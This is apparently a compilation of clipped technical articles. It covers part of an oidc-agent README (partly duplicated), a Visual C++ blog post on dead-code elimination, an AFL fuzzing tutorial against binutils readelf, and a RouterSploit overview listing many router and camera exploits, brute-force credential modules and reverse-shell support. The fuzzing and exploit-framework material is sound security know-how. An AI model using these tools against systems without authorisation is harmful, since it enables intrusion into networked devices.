communicate with the oidc-agent through UNIX domain sockets. The socket
address can be get from the environment variable which is set by the agent.
The request has to be sent json encoded. The following fields and values have
to be present for the different calls:

  * list of providers:

field | value  
---|---  
request | provider\_list  
example:

[code]

    {"request":"provider_list"}
    
[/code]

  * access token:

field | value  
---|---  
request | access\_token  
provider | <provider\_shortname>  
min\_valid\_period | <min\_valid\_period> \[s\]  
example:

[code]

    {"request":"access_token", "provider":"iam", "min_valid_period":60}
    
[/code]

#### oidc-token

oidc-token is n example client using the provided C-api and can be used to
easily get an oidc access token from the command line.

oidc-token can list the currently loaded providers and get an access token.

For displaying a list of loaded providers run

[code]

    oidc-token -l
    
[/code]

To get an access token for one provider you have to specify the short name and
how long the access token should be valid at least. The time is given in
seconds. If no minimum period of validity is specified, the default value 0
will be used. This means that the access token might not be valid anymore even
when be used instantly. The following call will get an access token for the
provider with the short name 'iam'. The access token will be valid at least
for 60 seconds.

[code]

    oidc-token iam -t 60
    
[/code]

# oidc-agent

oidc-agent is a program to manage OpenID Connect tokens and make them easily
usable from the command line. It design is strongly oriented at ssh-agent, so
users can handle oidc tokens in a similiar way as they do with ssh keys.

<img src='img/one_does_simply.jpg' width='568' height='335' alt='one does
simply' />

oidc-agent is usually started in the beginning of an X-session or a login
session, and all other windows or programs are started as clients to the oidc-
agent program. Through use of environment variables the agent can be located
and automatically used to handle oidc tokens.

The agent initially does not have any providers loaded. You can load a
provider configuration by using oidc-add. Multiple provider configurations may
be loaded in oidc-agent concurrently. oidc-add is also used to remove a loaded
configuration from oidc-agent.

## Requirements:

  * libcurl: https://curl.haxx.se/libcurl/ debian-package: libcurl4-openssl-dev
  * libsodium: https://download.libsodium.org/doc/ debian-package: libsodium-dev

If you have the required libraries installed you should be able to compile and
install by running

[code]

    make && sudo make install
    
[/code]

## Configuration

The oidc directory will be created by make. If ` ~/.config ` exists it will be
` ~/.config/oidc-agent ` otherwise ` ~/.oidc-agent `

You can configure issuer in the config file issuer.config located in this oidc
directory. Simply put often used issuers in this config file, one issuer per
line. They will be used by oidc-gen as a suggestion.

## Usage

### oidc-agent

You can start the agent by running:

[code]

    oidc-agent
    
[/code]

This will print out shell commands which have to be executed in the shell
where you want to run oidc-add, oidc-gen, and any client.

To start oidc-agent and directly set the needed environment variables you can
use:

[code]

    eval `oidc-agent`
    
[/code]

### oidc-gen

You can use oidc-gen to generate a new oidc provider config. When running `
oidc-gen ` the program will prompt you for the relevant information. If you
want to edit an existing configuration, you can do so by running oidc-gen and
providing the short name for this configuration.

oidc-gen will also add the generated configuration to the agent. So you don't
have to run oidc-add afterwards. However, if you want to load an existing
configuration oidc-add is your friend.

Most likely you do not have already a client registered and don't want to do
it through a web interface. If the provider supports dynamic registration
\(iam does\), you can let the agent register a new client for you. You can run
` oidc-gen -r ` to start this flow. Using iam password grant type is not
supported using dynamic registration. The client is registered and you have to
contact the provider to update the client config manually. After that is done,
you can specify the saved client config file to oidc-gen using ` oidc-gen -f
<filepath> ` and finish the provider configuration. Afterwards the config
should be added to oidc-agent and can be used by oidc-add normally to add and
remove the provider from the agent.

### oidc-add

oidc-add will add an existing configuration to the oidc-agent, making it
useable. You have to provide the short name of the provider configuration via
command line argument.

[code]

    oidc-add <shortname>
    
[/code]

### api & clients

clients can use the provided api to communicate with oidc-agent. An example
client is oidc-token.

The api provides functions for getting a list of currently loaded providers
and access token. They can be easily used. Alternative a client can directly
communicate with the oidc-agent through UNIX domain sockets. The socket
address can be get from the environment variable which is set by the agent.
The request has to be sent json encoded. The following fields and values have
to be present for the different calls:

  * list of providers:

field | value  
---|---  
request | provider\_list  
example:

[code]

    {"request":"provider_list"}
    
[/code]

  * access token:

field | value  
---|---  
request | access\_token  
provider | <provider\_shortname>  
min\_valid\_period | <min\_valid\_period> \[s\]  
example:

[code]

    {"request":"access_token", "provider":"iam", "min_valid_period":60}
    
[/code]

#### oidc-token

oidc-token is n example client using the provided C-api and can be used to
easily get an oidc access token from the command line.

oidc-token can list the currently loaded providers and get an access token.

For displaying a list of loaded providers run

[code]

    oidc-token -l
    
[/code]

To get an access token for one provider you have to specify the short name and
how long the access token should be valid at least. The time is given in
seconds. If no minimum period of validity is specified, the default value 0
will be used. This means that the access token might not be valid anymore even
when be used instantly. The following call will get an access token for the
provider with the short name 'iam'. The access token will be valid at least
for 60 seconds.

[code]

    oidc-token iam -t 60
    
[/code]

  

# Optimizing C++ Code : Dead Code Elimination - Visual C++ Team Blog - Site
Home - MSDN Blogs

**Created:**| _8/18/2013 9:42:40 AM_  
---|---  
**Updated:**| _8/18/2013 9:42:40 AM_  
**Author:**| __  
**Tags:**| _compiler-building optimisation_  
  

# **O** ptimizing C++ Code : Dead Code Elimination****

If you have arrived in the middle of this blog series, you might want instead
to begin at the beginning **.**

This post examines the optimization called Dead-Code-Elimination, which I’ll
abbreviate to DCE**.** It does what it says: discards any calculations whose
results are not actually _used_ by the program**.**

Now, you will probably assert that your code calculates _only_ results that
are used, and never any results that are _not_ used: only an idiot, after all,
would gratuitously add useless code – calculating the first 1000 digits of
_pi_ , for example, whilst also doing something useful**.** So when would the
DCE optimization ever have an effect**?**

The reason for describing DCE so early in this series is that it could
otherwise wreak havoc and confusion throughout our exploration of other, more
interesting optimizations: consider this tiny example program, held in a file
called Sum.cpp:

int main\(\) \{  
long long s = 0;  
for \(long long i = 1; i <= 1000000000; ++i\) s += i;  
\}

We are interested in how fast the loop executes, calculating the sum of the
first billion integers**.** \(Yes, this is a spectacularly silly example,
since the result has a closed formula, taught in High school**.** But that’s
not the point\)

Build this program with the command: CL /Od /FA Sum.cpp and run with the
command Sum**.** Note that this build _disables_ optimizations, via the /Od
switch**.** On my PC, it takes about 4 seconds to run**.** Now try compiling
optimized-for-speed, using CL /O2 /FA Sum.cpp**.** On my PC, this version runs
so fast there’s no perceptible delay**.** Has the compiler really done such a
fantastic job at optimizing our code**?** The answer is no \(but in a
surprising way, also yes\):

Let’s look first at the code it generates for the /Od case, stored into
Sum.asm**.** I have trimmed and annotated the text to show only the loop body:

mov QWORD PTR s$\[rsp\], 0 ;; long long s = 0  
mov QWORD PTR i$1\[rsp\], 1 ;; long long i = 1  
jmp SHORT $LN3@main  
$LN2@main :  
mov rax, QWORD PTR i$1\[rsp\] ;; rax = i  
inc rax ;; rax += 1  
mov QWORD PTR i$1\[rsp\], rax ;; i = rax  
$LN3@main :  
cmp QWORD PTR i$1\[rsp\], 1000000000 ;; i <= 1000000000 **?**  
jg SHORT $LN1@main ;; no – we’re done  
mov rax, QWORD PTR i$1\[rsp\] ;; rax = i  
mov rcx, QWORD PTR s$\[rsp\] ;; rcx = s  
add rcx, rax ;; rcx += rax  
mov rax, rcx ;; rax = rcx  
mov QWORD PTR s$\[rsp\], rax ;; s = rax  
jmp SHORT $LN2@main ;; loop  
$LN1@main:

The instructions look pretty much like you would expect**.** The variable i is
held on the stack at offset i$1 from the location pointed-to by the RSP
register; elsewhere in the asm file, we find that i$1 = 0**.** We use the RAX
register to increment i. Similarly, variable s is held on the stack \(at
offset s$ from the location pointed-to by the RSP register; elsewhere in the
asm file, we find that s$ = 8\)**.** The code uses RCX to calculate the
running sum each time around the loop**.**

Notice how we load the value for i from its “home” location on the stack,
every time around the loop; and write the new value back to its “home”
location**.** The same for the variable s. We could describe this code as
“naïve” – it’s been generated by a dumb compiler \(i**.** e**.** , one with
optimizations disabled\). For example, it’s wasteful to keep accessing memory
for every iteration of the loop, when we could have kept the values for i and
s in registers throughout**.**

So much for the non-optimized code. What about the code generated for the
optimized case**?** Let’s look at the corresponding Sum.asm for the optimized,
/O2, build**.** Again, I have trimmed the file down to just the part that
implements the loop body, and the answer is:

;; there’s nothing here**\!**

Yes – it’s empty\! There are _no_ instructions that calculate the value of s.

Well, that answer is clearly wrong, you might say**.** But how do we _know_
the answer is wrong**?** The optimizer has reasoned that the program does not
_actually_ make use of the answer for s at any point; and so it has not
bothered to include any code to calculate it**.** You can’t say the answer is
wrong, unless you check that answer, right**?**

We have just fallen victim to, been mugged in the street by, and lost our
shirt to, the DCE optimization**.** If you don’t observe an answer, the
program \(often\) won’t calculate that answer**.**

You might view this effect in the optimizer as analogous, in a profoundly
shallow way, to a fundamental result in Quantum Physics, often paraphrased in
articles on popular science as “If a tree falls  in the forest, and there’s
nobody around to hear, does it make a sound**?** ”

Well, let’s “observe” the answer in our program, by adding a printf of
variable s, into our code, as follows:

\#include <stdio**.** h>  
int main\(\) \{  
long long s = 0;  
for \(long long i = 1; i <= 1000000000; ++i\) s += i;  
printf\("%lld ", s\);  
\}

The /Od version of this program prints the correct answer, still taking about
4 seconds to run**.** The /O2 version prints the same, correct answer, but
runs much faster**.** \(See the optional section below for the value of “much
faster” – in fact, the speedup is around 7X\)

At this point, we have explained the main point of this blog post: always be
very careful in analyzing compiler optimizations, and in measuring their
benefit, that we are not being misled by DCE**.** Here are four steps to help
notice, and ward off, the unasked-for attention of DCE:

  * Check that the timings have not suddenly improved by an order of magnitude
  * Examine the generated code \(using the /FA switch\)
  * If in doubt add a strategic printf
  * Put the code of interest into its own .CPP file, separate from the one holding main**.** This works, so long as you do _not_ request whole-program optimization \(via the /GL switch, that we’ll cover later\)

However, we can wring several more interesting lessons from this tiny
example**.** I have marked these sections below as “Optional-1” through
“Optional-4”**.**

# Optional-1 : Codegen for /O2****

Why is our /O2 version \(including a printf to defeat DCE\), so much faster
than the /Od version**?** Here is the code generated for the loop of the /O2
version, extracted from the Sum.asm file:

xor edx, edx  
mov eax, 1  
mov ecx, edx  
mov r8d, edx  
mov r9d, edx  
npad 13  
$LL3@main :  
inc r9  
add r8, 2  
add rcx, 3  
add r9, rax ;; r9 = 2 8 18 32 50 ..**.**  
add r8, rax ;; r8 = 3 10 21 36 55 ..**.**  
add rcx, rax ;; rcx = 4 12 24 40 60 ..**.**  
add rdx, rax ;; rdx = 1 6 15 28 45 ..**.**  
add rax, 4 ;; rax = 1 5 9 13 17 ..**.**  
cmp rax, 1000000000 ;; i <= 1000000000 **?**  
jle SHORT $LL3@main ;; yes, so loop back

Note that the loop body contains approximately the same number of instructions
as the non-optimized build, and yet it runs _much_ faster**.** That’s mostly
because the instructions in this optimized loop use registers, rather than
memory locations**.** As we all know, accessing a register is much faster than
accessing memory**.** Here are approximate latencies  that demonstrate how
memory access can slow your program to a snail’s pace:

Location|  Latency  
---|---  
Register| 1 cycle  
L1| 4 cycles  
L2| 10 cycles  
L3| 75 cycles  
DRAM| 60 ns  
So, the non-optimized version is reading and writing to stack locations, which
will quickly migrate into L2 \(10 cycle access time\) and L1 cache \(4 cycle
access time\)**.** Both are slower than if all the calculation is done in
registers, with access times around a single cycle**.**

But there’s more going on here to make the code run faster**.** Notice how the
/Od version increments the loop counter by 1 each time around the loop**.**
But the /O2 version increments the loop counter \(held in register RAX\) by 4
each time around the loop**.** Eh?

The optimizer has _unrolled_ the loop**.** So it adds four items together on
each iteration, like this:

s = \(1 + 2 + 3 + 4\) + \(5 + 6 + 7 + 8\) + \(9 + 10 + 11 + 12\) + \(13 +
**.** **.** .

By _unrolling_ this loop, the test for loop-end is made every four iterations,
rather than on every iteration – so the CPU spends more time doing useful work
than forever checking whether it can stop yet**\!**

Also, rather than accumulate the results into a single location, it has
decided to use 4 separate registers, to accumulate 4 partial sums, like this:

RDX = 1 + 5 + 9 + 13 + ..**.** = 1, 6, 15, 28 ...  
R9 = 2 + 6 + 10 + 14 + ... = 2, 8, 18, 32 ..**.**  
R8 = 3 + 7 + 11 + 15 + ... = 3, 10, 21, 36 ..**.**  
RCX = 4 + 8 + 12 + 16 + ... = 4, 12, 24, 40 ..**.**

At the end of the loop, it adds the partial sums, in these four registers,
together, to get the final answer**.**

\(I will leave it as an exercise for the reader how the optimizer copes with a
loop whose trip count is not a multiple of 4\)

# Optional-2 : Accurate Performance Measurements****

Earlier, I said that the /O2 version of the program, without a printf
_inhibitor_ , “runs so fast there’s no perceptible delay”**.** Here is a
program that makes that statement more precise:

\#include <stdio**.** h>  
\#include <windows**.** h>  
int main\(\) \{  
LARGE\_INTEGER start, stop;  
QueryPerformanceCounter\(&start\);  
long long s = 0;  
for \(long long i = 1; i <= 1000000000; ++i\) s += i;  
QueryPerformanceCounter\(&stop\);  
double diff = stop.QuadPart - start.QuadPart;  
printf\("%f", diff\);  
\}

It uses QueryPerformanceCounter to measure the elapsed time**.** \(This is a
“sawn-off” version of a high-resolution timer  described in a previous
blog\)**.** There are lots of caveats to bear in-mind when measuring
performance \(you might want to browse a list I wrote previously \), but they
don’t matter for this particular case, as we shall see in a moment:

On my PC, the /Od version of this program prints a value for diff of about 7
million _somethings_**.** \(The units of the answer don’t matter – just know
that the number gets bigger as the program takes longer to run\)**.** The /O2
version prints a value for diff of 0. And the cause, as explained above, is
our friend DCE**.**

When we add a printf to prevent DCE, the /Od version runs in about 1 million
_somethings_ \- a speedup of about 7X**.**

# Optional-3 : x64 Assembler “widening**** ”

If we look carefully again at the assembler listings in this post, we find a
few surprises in the part of the program that initializes our registers:

xor edx, edx ;; rdx = 0 \(64-bit**\!**\)  
mov eax, 1 ;; rax = i = 1 \(64-bit**\!**\)  
mov ecx, edx ;; rcx = 0 \(64-bit**\!**\)  
mov r8d, edx ;; r8 = 0 \(64-bit**\!**\)  
mov r9d, edx ;; r9 = 0 \(64-bit**\!**\)  
npad 13 ;; multi-byte nop alignment padding  
$LL3@main:

Recall first that the original C++ program uses long long variables for both
the loop counter and the sum**.** In the VC++ compiler, these map onto 64-bit
integers**.** So we should expect the generated code to make use of x64’s
64-bit registers**.**

We already explained, in a previous post, that xor reg, reg is a compact way
to zero out the contents of reg**.** But our first instruction is apply xor to
register EDX – the lower 32 bits of the RDX register**.** The next instruction
moves a 1 into EAX, the lower 32 bits of the RAX register**.** This same
pattern – of moving a value into 32-bit register continues with the next 3
instructions**.** Taken at face value, this would leave the higher 32 bits of
each target register containing random junk**.** And yet the loop body
performs calculations on the full-width, 64-bit registers**.** How can the
answers possibly be right?

The answer is that the x64 instruction set, originally published by AMD ,
chose to automatically zero-extend the high 32 bits of a 64-bit destination
register**.** Here are the two applicable bullets from section 3**.** 4.5 of
that manual:

  * **Zero-Extension of 32-Bit Results** : 32-bit results are zero-extended into the high 32 bits of 64-bit GPR destination registers**.**
  * **No Extension of 8-Bit and 16-Bit Results** : 8-bit and 16-bit results leave the high 56 or 48 bits, respectively, of 64-bit GPR destination registers unchanged**.**

Finally, notice the npad 13 instruction \(really a pseudo-operation – a
directive to the assembler\)**.** This ensures the next instruction – which is
the start of the loop body – will be aligned in memory on an address that’s a
multiple of 16 bytes**.** This improves performance \(sometimes, and on some
micro-architectures\)**.**

# Optional-4 : printf versus std::cout****

You might ask why I used C’s printf function, rather than C++ std::cout as a
way to defeat DCE in the above experiment**.** Try it and see**.** Both work
ok, but the asm file generated by the latter is _much_ bigger, and therefore
more difficult to navigate around: 0**.** 7 Mbytes compared with 1**.** 7
Kbytes.

****

# Fuzzing with AFL-Fuzz, a Practical Example \( AFL vs binutils \)

**Created:**| _5/1/2015 10:42:21 AM_  
---|---  
**Updated:**| _5/1/2015 10:42:21 AM_  
**Author:**| __  
**Tags:**| _llvm fuzzing_  
  

# Fuzzing with AFL-Fuzz, a Practical Example \( AFL vs binutils \)

30 Apr 2015

on exploit, afl, fuzzing, lcamtuf, fuzzer, binary instrumentation, gcc, clang,
qemu, llvm, crash, american fuzzy lop

It's been a few weeks I've been playing with afl-fuzz \( _american fuzzy lop_
\), a great tool from lcamtuf which uses binary instrumentation to create
edge-cases for a given software, the description on the website is:

American fuzzy lop is a security-oriented fuzzer that employs a novel type of
compile-time instrumentation and genetic algorithms to automatically discover
clean, interesting test cases that trigger new internal states in the targeted
binary. This substantially improves the functional coverage for the fuzzed
code. The compact synthesized corpora produced by the tool are also useful for
seeding other, more labor- or resource-intensive testing regimes down the
road.

Ok nice ... but what does this actually mean?

# Binary Instrumentation

The first component of AFL is a wrapper for GCC/CLang compilers that will
inject during compilation its own assembly code into the target software.

The fuzzer will use this code to trace execution paths while feeding the
system with new inputs and to determine if a new mutation of the input is able
to trigger known or unkown \( new \) execution paths.

If you can't/don't want to recompile the source code of the target program,
AFL also supports a QEMU mode, an extension that leverages the QEMU "user
emulation" mode and allows callers to obtain instrumentation output for black-
box, closed-source binaries. This mechanism can be then used by afl-fuzz to
stress-test targets that couldn't be built with afl-gcc.

# Installation

The installation of AFL is trivial, just download the latest version of the
source code, extract it and do the usual:

[code]

    make
    sudo make install
    
[/code]

# A practical example

Being AFL particularly well suited for programs that accept a file as input, I
thought about trying it against the **binutils** and specifically against the
**readelf** binary ... AFL found eight distinct crashes cases \( potentially
exploitable \) in the first five minutes of elaboration, and more than 30
after less than one hour\!

First of all, you need to download a copy of the target program source code
and extract it, once you're inside the extracted folder, you will need to
override the **CC** \( or **CXX** if it's a C++ software being compiled with
g++ instead of gcc \) environment variable before triggering the **configure**
script and finally proceed with the compilation as usual.

[code]

    cd ~/binutils-2.25
    CC=afl-gcc ./configure
    make
    
[/code]

**NOTE** If you want to use clang instead of gcc, you need to set CC to **afl-
clang**.

During the compilation, you will notice a few messages from AFL informing you
that it's correctly injecting its instrumentations.

Once finished, you want to tune up your configuration, the following command
will instruct the system to output coredumps as files instead of sending them
to a specific crash handler app.

[code]

    # echo core > /proc/sys/kernel/core_pattern
    
[/code]

Now, we need to create an **input** folder where we will put our legit ELF
file, in our case the **/bin/ps** command, \( AFL will use it as a base
template \) and an **output** folder where the fuzzer will store its state but
more important all the generated samples that make the application crash or
hang.

[code]

    cd ~/binutils-2.25
    mkdir afl_in afl_out
    cp /bin/ps afl_in/
    
[/code]

And finally, let's run the fuzzer:

[code]

    cd ~/binutils-2.25
    afl-fuzz -i afl_in -o afl_out ./binutils/readelf -a @@
    
[/code]

Eventually, we will start to see something like the following:

<img src='img/Temp2_3360.png' alt='lop' />

As you can see, the red number **8** on the top right is the total number of
**unique** crashes the system was able to trigger so far.

In the **afl\_out/crashes** folder you will find the files that made readelf
crash, for instance if I try to execute readelf against the first crashing
sample \( inside GDB \), I get the following:

[code]

    *** buffer overflow detected ***: /home/evilsocket/binutils-2.25/binutils/readelf terminated
    ======= Backtrace: =========
    /lib/x86_64-linux-gnu/libc.so.6(+0x78c4e)[0x7ffff786cc4e]
    /lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x5c)[0x7ffff790ce8c]
    /lib/x86_64-linux-gnu/libc.so.6(+0x116e80)[0x7ffff790ae80]
    /lib/x86_64-linux-gnu/libc.so.6(__strcat_chk+0x5d)[0x7ffff790a05d]
    /home/evilsocket/binutils-2.25/binutils/readelf[0x41349b]
    /home/evilsocket/binutils-2.25/binutils/readelf[0x490b67]
    /home/evilsocket/binutils-2.25/binutils/readelf[0x4c0b44]
    /home/evilsocket/binutils-2.25/binutils/readelf[0x403b0d]
    /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff7814a40]
    /home/evilsocket/binutils-2.25/binutils/readelf[0x404169]
    ======= Memory map: ========
    00400000-0058b000 r-xp 00000000 08:05 6179323                            /home/evilsocket/binutils-2.25/binutils/readelf
    0078a000-0078b000 r--p 0018a000 08:05 6179323                            /home/evilsocket/binutils-2.25/binutils/readelf
    0078b000-0078d000 rw-p 0018b000 08:05 6179323                            /home/evilsocket/binutils-2.25/binutils/readelf
    0078d000-007b1000 rw-p 00000000 00:00 0                                  [heap]
    7ffff7313000-7ffff7329000 r-xp 00000000 08:05 262358                     /lib/x86_64-linux-gnu/libgcc_s.so.1
    7ffff7329000-7ffff7528000 ---p 00016000 08:05 262358                     /lib/x86_64-linux-gnu/libgcc_s.so.1
    7ffff7528000-7ffff7529000 rw-p 00015000 08:05 262358                     /lib/x86_64-linux-gnu/libgcc_s.so.1
    7ffff7529000-7ffff77f4000 r--p 00000000 08:05 6553617                    /usr/lib/locale/locale-archive
    7ffff77f4000-7ffff79b4000 r-xp 00000000 08:05 262349                     /lib/x86_64-linux-gnu/libc-2.21.so
    7ffff79b4000-7ffff7bb4000 ---p 001c0000 08:05 262349                     /lib/x86_64-linux-gnu/libc-2.21.so
    7ffff7bb4000-7ffff7bb8000 r--p 001c0000 08:05 262349                     /lib/x86_64-linux-gnu/libc-2.21.so
    7ffff7bb8000-7ffff7bba000 rw-p 001c4000 08:05 262349                     /lib/x86_64-linux-gnu/libc-2.21.so
    7ffff7bba000-7ffff7bbe000 rw-p 00000000 00:00 0 
    7ffff7bbe000-7ffff7bd7000 r-xp 00000000 08:05 262234                     /lib/x86_64-linux-gnu/libz.so.1.2.8
    7ffff7bd7000-7ffff7dd7000 ---p 00019000 08:05 262234                     /lib/x86_64-linux-gnu/libz.so.1.2.8
    7ffff7dd7000-7ffff7dd8000 r--p 00019000 08:05 262234                     /lib/x86_64-linux-gnu/libz.so.1.2.8
    7ffff7dd8000-7ffff7dd9000 rw-p 0001a000 08:05 262234                     /lib/x86_64-linux-gnu/libz.so.1.2.8
    7ffff7dd9000-7ffff7dfd000 r-xp 00000000 08:05 262335                     /lib/x86_64-linux-gnu/ld-2.21.so
    7ffff7fa7000-7ffff7fce000 r--p 00000000 08:05 7605558                    /usr/share/locale-langpack/it/LC_MESSAGES/binutils.mo
    7ffff7fce000-7ffff7fd1000 rw-p 00000000 00:00 0 
    7ffff7fec000-7ffff7fee000 rw-p 00000000 00:00 0 
    7ffff7fee000-7ffff7ff5000 r--s 00000000 08:05 6824223                    /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
    7ffff7ff5000-7ffff7ff8000 rw-p 00000000 00:00 0 
    7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
    7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
    7ffff7ffc000-7ffff7ffd000 r--p 00023000 08:05 262335                     /lib/x86_64-linux-gnu/ld-2.21.so
    7ffff7ffd000-7ffff7ffe000 rw-p 00024000 08:05 262335                     /lib/x86_64-linux-gnu/ld-2.21.so
    7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 
    7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
      0x0010:   nome: GCC_3.0
    Program received signal SIGABRT, Aborted.
    0x00007ffff7829267 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:55
    55    ../sysdeps/unix/sysv/linux/raise.c: File o directory non esistente.
    
[/code]

Let AFL run for a while and it will find all sort of edge cases and
potentially exploitable vulnerabilities :\)

# RouterSploit: The Metasploit For Routers\! - PenTestIT

**Created:**| _5/28/2017 11:02:38 AM_  
---|---  
**Updated:**| _5/28/2017 11:02:38 AM_  
**Author:**| __  
**Tags:**| _routers_  
  

  

# RouterSploit: The Metasploit For Routers\!

There are exploitation frameworks and then there is Metasploit. Though it has
a few modules targeted towards embedded devices, it is your “general purpose”
framework. If you are looking at a comprehensive embedded devices/router
exploitation framework you now have **RouterSploit**\!

<img src='img/Temp2_7069.png' width='532' height='150' alt='RouterSploit' />

RouterSploit: The Metasploit for Routers\!

### What is RouterSploit?

The RouterSploit Framework is an open-source exploitation framework coded in
Python, dedicated to embedded devices like routers. As of now, it allows you
to target FTP, SSH, TELNET, HTTP BASIC AUTH, HTTP DIGEST AUTH, HTTP FORM AUTH
and SNMP. It can also be installed in a Docker container. Post exploitation,
you can even get a reverse connection shell. When it comes to exploitation,
you can target devices from the following manufacturers:

  * Cameras: Brickcom, D-Link, Grandsteam, Honeywell, Netwave and VideoIQ.
  * Routers: 2wire, 3com, Asmax, Asus, Belkin, BHU, Billion, Cisco, Comtrend, D-Link, Fortinet, Huawei, IPFire, Juniper, Linksys, Movistar, Netcore/Netis, Netgear, Netsys, Shuttle, Technicolor, Thomson, TP-Link, Ubiquiti, Zte, Zyxel and RomPager.
  * Miscellaneous devices: Asus, Miele and WePresent.

_RouterSploit_ consists of various modules that aids penetration testing
operations such as _exploits_ – to take advantage of identified
vulnerabilities,  _creds_ – to test credentials against network services and  
_scanners_ – to check if a target is vulnerable to any exploit. The creds
module allows you to run default dictionary or bruteforce attacks against the
above mentioned network services. Now to the juicy part\! These are the
exploits that you can currently use with this router exploitation framework:  
Cameras:

D-Link DCS Cameras Authentication Bypass  
JVC & Vanderbilt & Honeywell IP-Camera Path Traversal  
Netwave IP Camera – Password Disclosure  
Honeywell IP-Camera HICC-1100PT Password Disclosure  
VideoIQ Camera Path Traversal  
Grandsteam GXV3611\_HD – SQL Injection  
Brickcom Corp Network Camera Conf Disclosure

Miscellaneous devices:

Asus B1M Projector RCE  
Miele Professional PG 8528 Path Traversal  
WePresent WiPG-1000 RCE

Routers:

TP-Link Archer C2 & C20i Remote Code Execution  
TP-Link WDR740ND & WDR740N Path Traversal  
TP-Link WDR740ND & WDR740N Backdoor Remote Code Execution  
ZyXEL Eir D1000 Remote Code Execution  
ZyXEL ZyWALL USG Extract Hashes  
ZyXEL Eir D1000 WiFi Password Disclosure  
ZyXEL P660HN-T v2 Remote Code Execution  
ZyXEL P660HN-T v1 Remote Code Execution  
D-Link DIR-645 & DIR-815 Remote Code Execution  
D-Link DCS-930L Auth Remote Code Execution  
D-Link DWR-932 Information Disclosure  
D-Link DSL-2740R DNS Change  
D-LINK DWR-932B Backdoor  
D-Link DSL-2780B & DSL-2730B & DSL-526B DNS Change  
D-Link Multi HNAP Remote Code Execution  
D-Link DWL-3200AP Password Disclosure  
D-LINK DNS-320L & DIR-327L Remote Code Execution  
D-Link DSP-W110 Remote Code Execution  
D-Link DSL-2750B Information Disclosure  
D-Link DIR-825 Path Traversal  
D-Link DVG-N5402SP Path Traversal  
D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 Information Disclosure  
D-Link DSL-2730U/2750U/2750E Path Traversal  
D-Link DSL-2640B DNS Change  
D-Link DIR-815 & DIR-850L Remote Code Execution  
D-Link DGS-1510 Add User  
D-Link DIR-300 & DIR-645 & DIR-815 UPNP Remote Code Execution  
D-Link DIR-645 Password Disclosure  
D-Link DIR-300 & DIR-320 & DIR-615 Auth Bypass  
D-LINK DIR-300 & DIR-600 Remote Code Execution  
BHU uRouter Remote Code Execution  
ZTE F609 Config Disclosure  
ZTE F6XX Default root  
ZTE ZXV10 Remote Code Execution  
ZTE F460 & F660 Backdoor Remote Code Execution  
ZTE F660 Config Disclosure  
2Wire Gateway Auth Bypass  
2Wire 4011G & 5012NV Path Traversal  
Netgear Multi Password Disclosure  
Netgear DGN2200 Remote Code Execution  
Netgear WNR500/WNR612v3/JNR1010/JNR2010 Path Traversal  
Netgear ProSafe Remote Code Execution  
Netgear JNR1010 Path Traversal  
Netgear DGN2200 Remote Code Execution  
Netgear Multi Remote Code Execution  
Netgear R7000 & R6400 Remote Code Execution  
Netgear N300 Auth Bypass  
Movistar ADSL Router BHS\_RTA Path Traversal  
FortiGate OS 4.x-5.0.7 Backdoor  
AirOS 6.x – Arbitrary File Upload  
Asus Informationsvr Backdoor Remote Code Execution  
Asus RT-N16 Password Disclosure  
Thomson TWG850 Password Disclosure  
Thomson TWG849 Information Disclosure  
Billion 7700NR4 Password Disclosure  
Billion 5200W-T Remote Code Execution  
Asmax AR 804 Remote Code Execution  
Asmax AR1004G Password Disclosure  
Netsys Multi Remote Code Execution  
Juniper ScreenOS Backdoor  
Linksys SMART WiFi Password Disclosure  
Linksys E1500/E2500 Remote Code Execution  
Linksys WRT100/WRT110 Remote Code Execution  
Linksys WAP54Gv3 Remote Code Execution  
Netcore/Netis UDP 53413 Remote Code Execution  
Misfortune Cookie affecting Azmoon, Billion, D-Link, TP-Link, ZyXEL  
TCP-32764 Information Disclosure  
Multi SSH Authorized Keys on ExaGrid, Quantum DXi, Vagrant  
TCP-32764 Remote Code Execution  
RomPager ROM-0 Authentication Bypass  
Shellshock  
Heartbleed  
Comtrend CT 5361T Password Disclosure  
IPFire Proxy Remote Code Execution  
IPFire Shellshock  
3Com 3CRADSL72 Information Disclosure  
3Com AP8760 Password Disclosure  
3Com OfficeConnect Information Disclosure  
3Com IMC Path Traversal  
3Com OfficeConnect Remote Code Execution  
3Com IMC Information Disclosure  
Technicolor TC7200 Password Disclosure  
Technicolor TG784n-v3 Authentication Bypass  
Technicolor DWG-855 Authentication Bypass  
Technicolor TC7200 Password Disclosure  
Belkin Play Max Persistent Remote Code Execution  
Belkin G Information Disclosure  
Belkin N150 Path Traversal  
Belkin G & N150 Password Disclosure  
Belkin Authentication Bypass  
Belkin N750 Remote Code Execution  
Shuttle 915 WM DNS Change  
Huawei HG866 Password Cahnge  
Huawei HG630a Default Credentials  
Huawei E5331 Information Disclosure  
Huawei HG530 & HG520b Password Disclosure  
Huawei HG520 Information Disclosure  
Cisco Secure ACS Unauthorized Password Change  
Cisco Firepower Management 6.0 Path Traversal  
Cisco Catalyst 2960 ROCEM Remote Code Execution  
Cisco UCM Information Disclosure  
Cisco IOS HTTP Unauthorized Administrative Access  
Cisco Unified Multi Path Traversal  
Cisco UCS Manager Remote Code Execution  
Cisco Firepower Management 6.0 Remote Code Execution  
Cisco DPC2420 Information Disclosure  
Cisco Video Surveillance Path Traversal

When it comes to installation, it does not need many Python modules. Just
_gnureadline_ \(OSX only\), _requests, paramiko, beautifulsoup4_ and _pysnmp_
will do. What WPXF is for WordPress, RouterSploit is for routers.

#### Install RouterSploit:

The current version is RouterSploit v2.2.1 & is code named – _Bad Blood_.
Check out the GIT repository, and run

[code]

    pip install -r requirements.txt
    ./rsf.py
[/code]

### Share this:

  * Email
  * Print
  * Facebook
  * Reddit
  * LinkedIn81
  * Twitter
  * Google
  * 

<img src='img/Temp2_7070.png' width='49' height='49' />Author  Black/Posted on
May 27, 2017/Categories Open Source, Penetration Testing/Tags Brute Force,
